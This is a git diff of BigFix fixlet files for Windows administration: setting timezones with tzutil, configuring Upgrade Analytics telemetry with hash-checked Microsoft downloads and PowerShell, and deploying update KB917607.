+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Ulaanbaatar Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+09:00) Osaka, Sapporo, Tokyo<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Tokyo Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+09:00) Seoul<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Korea Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+09:00) Yakutsk<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Yakutsk Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+09:30) Adelaide<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Cen. Australia Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+09:30) Darwin<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>AUS Central Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+10:00) Brisbane<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>E. Australia Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+10:00) Canberra, Melbourne, Sydney<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>AUS Eastern Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+10:00) Guam, Port Moresby<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>West Pacific Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+10:00) Hobart<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Tasmania Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+10:00) Vladivostok<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Vladivostok Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+11:00) Magadan<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Magadan Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+11:00) Solomon Is., New Caledonia<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Central Pacific Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+12:00) Auckland, Wellington<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>New Zealand Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+12:00) Coordinated Universal Time+12<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>UTC+12</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+12:00) Fiji<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Fiji Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+13:00) Nuku'alofa<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Tonga Standard Time</FONT></TD></TR></TBODY></TABLE></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>((name of it = &quot;Win2008R2&quot;) OR (name of it = &quot;Win7&quot;) OR (name of it = &quot;Win8&quot;) OR (name of it = &quot;Win2012&quot;)) of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2013-10-08</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 08 Oct 2013 20:19:55 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink></PreLink>
+        <Link>Set to Eastern Time.</Link>
+        <PostLink></PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait cmd.exe /C tzutil /s &quot;Eastern Standard Time&quot;</ActionScript>
+    </DefaultAction>
+    <Action ID="Action2868">
+      <Description>
+        <PreLink></PreLink>
+        <Link>Set to custom timezone.</Link>
+        <PostLink>&amp;nbsp;</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action parameter query &quot;Timezone&quot; with description &quot;Please type the timezone that you&apos;d like to set. Use the list from the fixlet details.&quot;
+
+wait cmd.exe /C tzutil /s &quot;{parameter &quot;Timezone&quot; of action}&quot;</ActionScript>
+    </Action>
+    <Action ID="Action2869">
+      <Description>
+        <PreLink></PreLink>
+        <Link>Set to Central Time.</Link>
+        <PostLink></PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait cmd.exe /C tzutil /s &quot;Central Standard Time&quot;</ActionScript>
+    </Action>
+    <Action ID="Action2870">
+      <Description>
+        <PreLink></PreLink>
+        <Link>Set to Mountain Time.</Link>
+        <PostLink></PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait cmd.exe /C tzutil /s &quot;Mountain Standard Time&quot;</ActionScript>
+    </Action>
+    <Action ID="Action2871">
+      <Description>
+        <PreLink></PreLink>
+        <Link>Set to Pacific Time.</Link>
+        <PostLink></PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait cmd.exe /C tzutil /s &quot;Pacific Standard Time&quot;</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Set up collection of Windows telemetry data for Upgrade Analytics Preview - Windows (21118).bes b/Sites/Windows Management/Fixlets/Fixlets/Set up collection of Windows telemetry data for Upgrade Analytics Preview - Windows (21118).bes
index d3dc15ae0..3d6d8c060 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Set up collection of Windows telemetry data for Upgrade Analytics Preview - Windows (21118).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Set up collection of Windows telemetry data for Upgrade Analytics Preview - Windows (21118).bes	
@@ -1,96 +1,96 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Set up collection of Windows telemetry data for Upgrade Analytics Preview - Windows
-  ID       : 21118
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2016-07-27T11:18:57
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Set up collection of Windows telemetry data for Upgrade Analytics Preview - Windows</Title>
-    <Description><![CDATA[<P>You must set up Upgrade Analytics through Microsoft to get the required "CommerciaId"</P>
-<P>More info here: <A href="https://www.microsoft.com/en-us/WindowsForBusiness/upgrade-analytics">https://www.microsoft.com/en-us/WindowsForBusiness/upgrade-analytics</A></P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>not exists lines containing &quot;Script finished successfully&quot; of files whose(name of it as lowercase ends with &quot;.txt&quot; AND exists lines of it) of folders of folders &quot;Temp\UpgradeAnalytics\Logs&quot; of windows folders</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-07-27</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 27 Jul 2016 18:16:57 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-action parameter query &quot;CommerciaId&quot;
-
-prefetch UpgradeAnalytics.zip sha1:e4ec6b46379428209183f2e5fb872f18ebb78f55 size:53320712 https://download.microsoft.com/download/C/9/3/C9308EB7-26B7-4956-8BC4-1565FD62B8EA/UpgradeAnalytics.zip sha256:fbeedff147a6a9f42ca6146ef8b9979fc669a493b2957a4e13446214f4628d1d
-
-//  - This unzip is a compiled verion of unzip v5.52 fom http://info-zip.org/
-//  - https://www.virustotal.com/en/file/8d9b5190aace52a1db1ac73a65ee9999c329157c8e88f61a772433323d6b7a4a/analysis
-prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
-
-// ADD TO UTILITY CACHE (to use in multiple tasks)
-utility __Download\unzip.exe
-
-// EXTRACT using unzip
-waithidden __Download\unzip.exe -o &quot;{pathname of file &quot;UpgradeAnalytics.zip&quot; of folder &quot;__Download&quot; of client folder of current site}&quot; -d &quot;{pathname of folder &quot;temp&quot; of windows folder}&quot;
-
-
-delete __createfile
-createfile until _END_OF_FILE_
-@echo off
-@echo Running config batch
-cd {pathname of folders &quot;Temp\UpgradeAnalytics&quot; of windows folders}
-:: File share to store telemetry logs
-set logPath={pathname of folders &quot;Temp\UpgradeAnalytics&quot; of windows folders}\Logs
-
-:: Commercial ID provided to you
-set commercialIDValue={parameter &quot;CommerciaId&quot;}
-
-:: By Default script logs to both console and log file.
-:: logMode == 0 log to console only
-:: logMode == 1 log to file and console
-:: logMode == 2 log to file only
-set logMode=1
-
-:: To run inventory scan in verbose mode change below value to $true
-set isVerboseLogging=$false
-
-:: To notify users with Pop-up messages about reboot - By default its false
-set isPopupMode=$false
-
-set source=%~dp0
-
-powershell -ExecutionPolicy unrestricted -Command &quot;dir %source%\*.ps1 | Unblock-File&quot;
-
-%source%Psexec.exe -accepteula -si powershell.exe -ExecutionPolicy Bypass -Command %source%ConfigScript.ps1 ^
-		-LogPath %logPath% ^
-		-FilePath %source% ^
-		-CommerciaIdInput %commercialIDValue% ^
-		-LogMode %logMode% ^
-		-VerboseLogging %isVerboseLogging% ^
-		-PopUpMode %isPopupMode%
-
-_END_OF_FILE_
-
-delete {pathname of folders &quot;Temp\UpgradeAnalytics&quot; of windows folders}\RunConfig.bat
-move __createfile {pathname of folders &quot;Temp\UpgradeAnalytics&quot; of windows folders}\RunConfig.bat
-
-waithidden {pathname of folders &quot;Temp\UpgradeAnalytics&quot; of windows folders}\RunConfig.bat
-
-// waithidden powershell -ExecutionPolicy Bypass -Command {pathname of files &quot;ConfigScript.ps1&quot; of folders &quot;Temp\UpgradeAnalytics&quot; of windows folders} -LogPath {pathname of folders &quot;Temp\UpgradeAnalytics&quot; of windows folders}\Logs -FilePath {pathname of folders &quot;Temp\UpgradeAnalytics&quot; of windows folders} -CommerciaIdInput {parameter &quot;CommerciaId&quot;} -LogMode 1 -VerboseLogging $true -PopUpMode $false
-</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Set up collection of Windows telemetry data for Upgrade Analytics Preview - Windows
+  ID       : 21118
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-07-27T11:18:57
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Set up collection of Windows telemetry data for Upgrade Analytics Preview - Windows</Title>
+    <Description><![CDATA[<P>You must set up Upgrade Analytics through Microsoft to get the required "CommerciaId"</P>
+<P>More info here: <A href="https://www.microsoft.com/en-us/WindowsForBusiness/upgrade-analytics">https://www.microsoft.com/en-us/WindowsForBusiness/upgrade-analytics</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists lines containing &quot;Script finished successfully&quot; of files whose(name of it as lowercase ends with &quot;.txt&quot; AND exists lines of it) of folders of folders &quot;Temp\UpgradeAnalytics\Logs&quot; of windows folders</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-07-27</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 27 Jul 2016 18:16:57 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+action parameter query &quot;CommerciaId&quot;
+
+prefetch UpgradeAnalytics.zip sha1:e4ec6b46379428209183f2e5fb872f18ebb78f55 size:53320712 https://download.microsoft.com/download/C/9/3/C9308EB7-26B7-4956-8BC4-1565FD62B8EA/UpgradeAnalytics.zip sha256:fbeedff147a6a9f42ca6146ef8b9979fc669a493b2957a4e13446214f4628d1d
+
+//  - This unzip is a compiled verion of unzip v5.52 fom http://info-zip.org/
+//  - https://www.virustotal.com/en/file/8d9b5190aace52a1db1ac73a65ee9999c329157c8e88f61a772433323d6b7a4a/analysis
+prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
+
+// ADD TO UTILITY CACHE (to use in multiple tasks)
+utility __Download\unzip.exe
+
+// EXTRACT using unzip
+waithidden __Download\unzip.exe -o &quot;{pathname of file &quot;UpgradeAnalytics.zip&quot; of folder &quot;__Download&quot; of client folder of current site}&quot; -d &quot;{pathname of folder &quot;temp&quot; of windows folder}&quot;
+
+
+delete __createfile
+createfile until _END_OF_FILE_
+@echo off
+@echo Running config batch
+cd {pathname of folders &quot;Temp\UpgradeAnalytics&quot; of windows folders}
+:: File share to store telemetry logs
+set logPath={pathname of folders &quot;Temp\UpgradeAnalytics&quot; of windows folders}\Logs
+
+:: Commercial ID provided to you
+set commercialIDValue={parameter &quot;CommerciaId&quot;}
+
+:: By Default script logs to both console and log file.
+:: logMode == 0 log to console only
+:: logMode == 1 log to file and console
+:: logMode == 2 log to file only
+set logMode=1
+
+:: To run inventory scan in verbose mode change below value to $true
+set isVerboseLogging=$false
+
+:: To notify users with Pop-up messages about reboot - By default its false
+set isPopupMode=$false
+
+set source=%~dp0
+
+powershell -ExecutionPolicy unrestricted -Command &quot;dir %source%\*.ps1 | Unblock-File&quot;
+
+%source%Psexec.exe -accepteula -si powershell.exe -ExecutionPolicy Bypass -Command %source%ConfigScript.ps1 ^
+		-LogPath %logPath% ^
+		-FilePath %source% ^
+		-CommerciaIdInput %commercialIDValue% ^
+		-LogMode %logMode% ^
+		-VerboseLogging %isVerboseLogging% ^
+		-PopUpMode %isPopupMode%
+
+_END_OF_FILE_
+
+delete {pathname of folders &quot;Temp\UpgradeAnalytics&quot; of windows folders}\RunConfig.bat
+move __createfile {pathname of folders &quot;Temp\UpgradeAnalytics&quot; of windows folders}\RunConfig.bat
+
+waithidden {pathname of folders &quot;Temp\UpgradeAnalytics&quot; of windows folders}\RunConfig.bat
+
+// waithidden powershell -ExecutionPolicy Bypass -Command {pathname of files &quot;ConfigScript.ps1&quot; of folders &quot;Temp\UpgradeAnalytics&quot; of windows folders} -LogPath {pathname of folders &quot;Temp\UpgradeAnalytics&quot; of windows folders}\Logs -FilePath {pathname of folders &quot;Temp\UpgradeAnalytics&quot; of windows folders} -CommerciaIdInput {parameter &quot;CommerciaId&quot;} -LogMode 1 -VerboseLogging $true -PopUpMode $false
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Software Distribution - Deploy_ Windows Update KB917607 - WinHlp32.exe (1364).bes b/Sites/Windows Management/Fixlets/Fixlets/Software Distribution - Deploy_ Windows Update KB917607 - WinHlp32.exe (1364).bes
index c52525cc9..1ec30d954 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Software Distribution - Deploy_ Windows Update KB917607 - WinHlp32.exe (1364).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Software Distribution - Deploy_ Windows Update KB917607 - WinHlp32.exe (1364).bes	
@@ -1,48 +1,48 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Software Distribution - Deploy: Windows Update KB917607 - WinHlp32.exe
-  ID       : 1364
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2013-01-07T09:45:31
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Software Distribution - Deploy: Windows Update KB917607 - WinHlp32.exe</Title>
-    <Description><![CDATA[This task will deploy: Windows Update KB917607 - WinHlp32.exe<BR><BR>This task is applicable on: Windows 7 x64. ]]></Description>
-    <Relevance>x64 of operating system</Relevance>
-    <Relevance>&quot;Win7&quot; = name of operating system</Relevance>
-    <Relevance>exists running service &quot;wuauserv&quot; OR NOT exists service &quot;wuauserv&quot; whose (start type of it = &quot;disabled&quot;)</Relevance>
-    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\UpdateDetect\KB917607&quot; of native registry</Relevance>
-    <Relevance><![CDATA[not exists file (parent folder of system folder as string & "\servicing\Packages\Microsoft-Windows-Winhelp-Update-Client~31bf3856ad364e35~amd64~~6.1.0.1.mum")]]></Relevance>
-    <Category>Software Distribution</Category>
-    <Source>Software Distribution Wizard</Source>
-    <SourceID>jgstew</SourceID>
-    <SourceReleaseDate>2011-07-27</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-source</Name>
-      <Value>Software Distribution Wizard</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 07 Jan 2013 15:47:07 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here </Link>
-        <PostLink>to initiate the deployment process.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[download http://download.microsoft.com/download/9/A/8/9A8FCFAA-78A0-49F5-8C8E-4EAE185F515C/Windows6.1-KB917607-x64.msu
-continue if {(size of it = 718172 AND sha1 of it = "69e765037fc3b620941d1c512068606694a4c307") of file "Windows6.1-KB917607-x64.msu" of folder "__Download"}
-// Is Windows Update service running?
-continue if {exists running service "wuauserv" OR NOT exists service "wuauserv" whose (start type of it = "disabled")}
-wait {system folder as string & "\"}wusa.exe __Download\Windows6.1-KB917607-x64.msu /quiet /norestart]]></ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Software Distribution - Deploy: Windows Update KB917607 - WinHlp32.exe
+  ID       : 1364
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-01-07T09:45:31
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Software Distribution - Deploy: Windows Update KB917607 - WinHlp32.exe</Title>
+    <Description><![CDATA[This task will deploy: Windows Update KB917607 - WinHlp32.exe<BR><BR>This task is applicable on: Windows 7 x64. ]]></Description>
+    <Relevance>x64 of operating system</Relevance>
+    <Relevance>&quot;Win7&quot; = name of operating system</Relevance>
+    <Relevance>exists running service &quot;wuauserv&quot; OR NOT exists service &quot;wuauserv&quot; whose (start type of it = &quot;disabled&quot;)</Relevance>
+    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\UpdateDetect\KB917607&quot; of native registry</Relevance>
+    <Relevance><![CDATA[not exists file (parent folder of system folder as string & "\servicing\Packages\Microsoft-Windows-Winhelp-Update-Client~31bf3856ad364e35~amd64~~6.1.0.1.mum")]]></Relevance>
+    <Category>Software Distribution</Category>
+    <Source>Software Distribution Wizard</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2011-07-27</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Software Distribution Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 07 Jan 2013 15:47:07 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here </Link>
+        <PostLink>to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[download http://download.microsoft.com/download/9/A/8/9A8FCFAA-78A0-49F5-8C8E-4EAE185F515C/Windows6.1-KB917607-x64.msu
+continue if {(size of it = 718172 AND sha1 of it = "69e765037fc3b620941d1c512068606694a4c307") of file "Windows6.1-KB917607-x64.msu" of folder "__Download"}
+// Is Windows Update service running?
+continue if {exists running service "wuauserv" OR NOT exists service "wuauserv" whose (start type of it = "disabled")}
+wait {system folder as string & "\"}wusa.exe __Download\Windows6.1-KB917607-x64.msu /quiet /norestart]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Start and Enable Windows Service (26632).bes b/Sites/Windows Management/Fixlets/Fixlets/Start and Enable Windows Service (26632).bes
